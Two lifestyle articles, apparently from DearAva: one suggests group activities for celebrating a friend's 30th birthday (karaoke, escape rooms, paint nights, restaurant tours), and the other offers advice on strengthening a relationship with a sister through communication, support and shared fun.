If your schedules can make it work, it’s a great idea to take a full weekend to celebrate a 30th birthday! Getting together for brunch on Saturday, a night on the town on Saturday night, and a farewell lunch on Sunday can be a fun way to bring an old group of friends together to celebrate a birthday. Can’t make a full weekend? Even a full day of fun as a group can make your loved one’s day memorable.

Hit Up The Karaoke Bar

Is there a better way to get rid of inhibitions and create a night to remember than by hitting up a karaoke bar? Nope! Create a night that you’ll never forget with your 30-and-fabulous friend by going to a karaoke bar where you and your crew can let loose and have a great time. Have a large group? Think about renting out a karaoke bar, or having a DJ come to your venue for an extra-memorable evening.

Try An Escape Room

Escape Rooms are all the rage, and you likely have one nearby. Your group enters the room and you’re given clues to help you escape within a certain time limit (usually an hour). This is a great way to kick off an evening of birthday fun, especially if you’re combining groups of friends who don’t know each other well. As your group works together, the ice will be broken effortlessly.

Sip & Paint Night

Looking for a chill way to have fun with friends while celebrating your loved one’s birthday? A sip and paint night is the perfect way to be out and about while still kicking back and enjoying time celebrating your loved one’s 30th. You’ll have the option of reserving a private paint and sip session or being a part of a larger group. It’s a good idea to call the studio in advance to find out about availability for your group.

Check Something Off The Bucket List

Talk to your birthday friend and find out an activity that they’ve always wanted to do. Skydiving? Scuba diving? Ziplining? Find an activity that the can check off their bucket list, and go through it as a group of friends. Your loved one who is celebrating their birthday will remember the event forever.

Go On A Restaurant Tour

Is your group of friends full of foodies? Celebrate your loved one’s 30th with a restaurant tour. Stop at one place for drinks, one for an app, one for the main course, and so on. This can be especially fun if you live in an area where a restaurant tour is walkable. If not, Uber or Lyft can make it easy to get from place to place.

This article was originally published on DearAva.

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A friendship with your sister can be one of the most fruitful relationships in your life and well worth nurturing. However, it’s not uncommon for siblings to drift apart or for tensions to arise in their relationship. If you’re feeling like your relationship with your sister needs some TLC, consider the following tips on how to forge a deeper bond with her:

Take a closer look at your current relationship with your sister

Try your best to analyze your relationship with your sister in an honest way. What about your current relationship is strong, and what needs working on? How often are you two in contact? How do you feel when you interact with your sister?

By taking a look at these aspects of your relationship, you will have a better idea of how you can work to strengthen the bond between you and your sister.

Constructively address past tensions and move on

Do you and your sister have any unresolved disagreements? Is this straining your relationship in some way? Even if the tension feels minuscule, it can eventually fester into resentment if it goes unaddressed. It may feel uncomfortable and even nerve-racking, but taking the time to initiate a conversation with your sister about this conflict is important. Not only will you keep that tension from developing into resentment, but you will also have an opportunity to connect on a deeper level with her.

Remember: try to go about this in the most constructive way possible. Your sister may have hurt you in the past, but it may be that you have hurt her, too. Rather than placing the blame entirely on her, consider how you may have also faltered in the relationship. Own up to your mistakes.

Ultimately, your sister will always be your sister. A conversation like this may be difficult and can stir up some unpleasant memories and feelings, but in the end, your sibling-bond will prevail.

Reach out and be engaged

Consistent communication is key in maintaining and strengthening your bond with your sister. Perhaps you tend to text each other frequently but chat on the phone less. Or you hardly communicate at all.

Start by checking in regularly. Send her a text at least weekly. A simple “How are you?” can work wonders, but take it farther by bringing up a topic that you both have a connection to. For example, if you know that she is an avid cook, send her a good recipe you recently made! If she likes movies, ask her opinion on a recent flick you watched.

In addition to texting, it’s important to have verbal conversations over the phone or, if you’re lucky enough to live in the same area, in person. Life can get busy, and initiating a lengthy phone call or a lunch date can often escape you. However, committing to at least a couple of phone calls or meetups a month will surely deepen the bond with your sister. You want to make sure that you’re engaging with her and are aware of what’s happening in her life.

Offer and accept support

Make sure that you’re offering your support whenever your sister confides in you or if you see that she is experiencing any kind of struggle. By being there for her, she will know that she is safe with you when she is most vulnerable. Furthermore, that feeling of safety will be reciprocated when you confide in her and accept her support. A relationship with your sister is a two-way street: you both need to give and take.

Have fun

Like in any friendship, simply having fun with your sister is key to forging a deeper bond with her. Create memorable experiences with her that you both can reminisce about with amusement. If you live in the same area as her, plan an activity that goes beyond a lunch or dinner date. Do something you both enjoy: go on a hike, go bowling, attend a BYOB painting class, etc. If you live far apart, make an effort to plan a trip to see each other at least once a year or consider taking a vacation together! Nothing beats sitting on a beach and relaxing when you’re trying to strengthen your sibling bond.

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